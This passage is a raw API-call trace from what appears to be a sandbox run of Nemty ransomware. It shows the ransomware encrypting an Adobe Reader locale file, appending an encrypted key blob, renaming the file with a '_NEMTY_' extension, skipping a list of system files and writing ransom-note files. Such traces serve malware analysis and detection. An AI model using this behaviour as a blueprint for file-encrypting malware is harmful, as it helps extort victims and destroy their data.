pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.353] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.353] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.353] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CvvvShX8ccG7nvxbRbVNVOpHCjkJ0H8tVfu2xuTs6KIDPGdH5v1yYY7CwTGfoVpJ\r\n+9fwwWvwoRxIoOAMVFvpXnxhXDSmXyVkRsdl0rFJ1DDSEHSKIEHv28EZgut1LxyY\r\n1hyzHp8Z6/uusKLUFqDaZ8JwvaqCXWNumTDS7TjV/ZV3NBPVSRe/xIA0tjlK4pv5\r\nOO6/U4Uo8CtGEYcGxeKwYO920uWCB+gVKTnxdRtk5ZkozfZohqaOgcAPVhjtrAmB\r\njyTe+sGHlLnfkKSUktxfSh+1Atlw/tDAeOFlrt8DF6zPemMDku1tY6sR1GPWsxZp\r\nQaAON4lni8191X/39Ksxqg==\r\n", pcchString=0x653e5dc) returned 1 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.354] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29184) returned 1 [0178.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7200) returned 0x6352c48 [0178.354] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.354] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7200, lpOverlapped=0x0) returned 1 [0178.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.357] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7200, lpOverlapped=0x0) returned 1 [0178.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0178.357] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.357] CloseHandle (hObject=0x2e8) returned 1 [0178.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.358] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\WebLink.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\weblink.hun._nemty_kgobjgd_")) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.358] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da31e50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1da31e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1da31e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0178.358] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0178.359] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0178.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0178.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0178.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.360] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da31e50, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1da31e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1da31e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0178.360] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0178.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0178.360] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2=".") returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="..") returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="...") returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="windows") returned -1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="$RECYCLE.BIN") returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="rsa") returned -1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="NTDETECT.COM") returned -1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="ntldr") returned -1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="MSDOS.SYS") returned -1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="IO.SYS") returned 1 [0178.360] lstrcmpiW (lpString1="it_IT", lpString2="boot.ini") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="boot.ini") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="AUTOEXEC.BAT") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="ntuser.dat") returned -1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="desktop.ini") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="CONFIG.SYS") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="RECYCLER") returned -1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="BOOTSECT.BAK") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="bootmgr") returned 1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="programdata") returned -1 [0178.361] lstrcmpiW (lpString1="it_IT", lpString2="appdata") returned 1 [0178.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it_IT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it_IT", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="it_IT", lpUsedDefaultChar=0x0) returned 5 [0178.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it_IT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="it_IT", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="it_IT", lpUsedDefaultChar=0x0) returned 5 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0178.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0178.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0178.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0178.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0178.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0178.364] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.364] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0178.365] CloseHandle (hObject=0x254) returned 1 [0178.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0178.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0178.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0178.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.366] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.366] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0178.367] CloseHandle (hObject=0x254) returned 1 [0178.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.367] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1df40d10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1df40d10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0178.367] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0178.367] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1df40d10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1df40d10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0178.367] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0178.367] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0178.367] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 